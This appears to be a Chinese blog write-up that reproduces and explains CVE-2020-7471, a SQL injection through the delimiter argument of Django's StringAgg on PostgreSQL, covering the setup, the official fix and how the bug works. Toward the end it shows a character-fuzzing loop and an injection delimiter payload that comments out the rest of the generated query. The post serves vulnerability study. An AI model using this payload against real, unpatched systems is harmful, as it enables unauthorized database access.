复现过程
漏洞分析
CVE-2020-7471 Potential SQL injection via StringAgg(delimiter)这个漏洞出现有一个月了,当时就做了复现,但是由于知识水平有限并没有做太多的分析,最近想起来了,就结合大佬的文章重新学习了这个漏洞。
0x01 复现过程
1.测试环境
python 3.7.6
django 3.0.2
postgres 10.12-1
2. 安装 django
1 | pip install django==3.0.2 -i https://pypi.tuna.tsinghua.edu.cn/simple |
3. 安装 postgres
4. 创建数据库
使用 SQL shell 登录到 postgres ,创建数据库
1 | CREATE DATABASE test; |
5. 修改配置
修改 sqlvul_projects/settings.py 里面的数据库配置
1 | DATABASES = { |
6. 初始化数据表
1 | python3 manage.py migrate |
7. 执行poc
执行后,可以看到数据库中出现了如下数据
0x02 漏洞分析
在 django 中,如果要使用查询操作,正确的写法如下
1 | sql = "SELECT * FROM user_contacts WHERE username = %s" |
django 会根据你所使用的数据库服务器自动转义特殊的SQL参数。如果你的查询代码像下面这种写法就存在注入的风险
1 | sql = "SELECT * FROM user_contacts WHERE username = %s" % 'zhugedali' |
回到漏洞本身,在 commit 中可以看到官方对漏洞的修复
https://github.com/django/django/commit/eb31d845323618d688ad429479c6dda973056136
漏洞函数位于如下模块中
1 | from django.contrib.postgres.aggregates import StringAgg |
官方对 delimiter 使用如下语句处理来防御 django
1 | delimiter_expr = Value(str(delimiter)) |
从源码中,可以看到 Value()
函数的内容
1 | class Value(Expression): |
注释写的非常清楚,Value()
处理过的参数会被加到sql的参数列表里,之后会被 django 内置的过滤机制过滤,从而防范 SQL 漏洞。
在存在风险的版本中,poc是如何运作的呢。可以看到,在poc中使用了如下语句
1 | results = Info.objects.all().values('gender').annotate(mydefinedname=StringAgg('name', delimiter="-")) |
该语句使用了 StringAgg
类,用于将输入的值使用 delimiter 分隔符级联起来,原本的语句中,查询 Info 对应的 postgres 数据表的 gender 列,并使用 -
来连接 name
列,那么通过修改 delimiter 的内容,就可以实现注入。
在poc作者的文章中,还写出了fuzz部分的代码
1 | for c in "!@#$%^&*()_+=-|\\\"':;?/>.<,{}[]": |
当 delimiter 是单引号的时候会导致报错,命令在postgres中变成了
1 | SELECT "vul_app_info"."gender", STRING_AGG("vul_app_info"."name", ''') AS "mydefinedname" FROM "vul_app_info" GROUP BY "vul_app_info"."gender" LIMIT 1 OFFSET 1 |
在三个单引号那里出现错误,而我们将 delimiter 设置为 ')--
便可以成功的注释掉 FROM
语句,从而构造自己的payload。
1 | '-\') AS "mydefinedname" FROM "vul_app_info" GROUP BY "vul_app_info"."gender" LIMIT 1 OFFSET 1 -- ' |
参考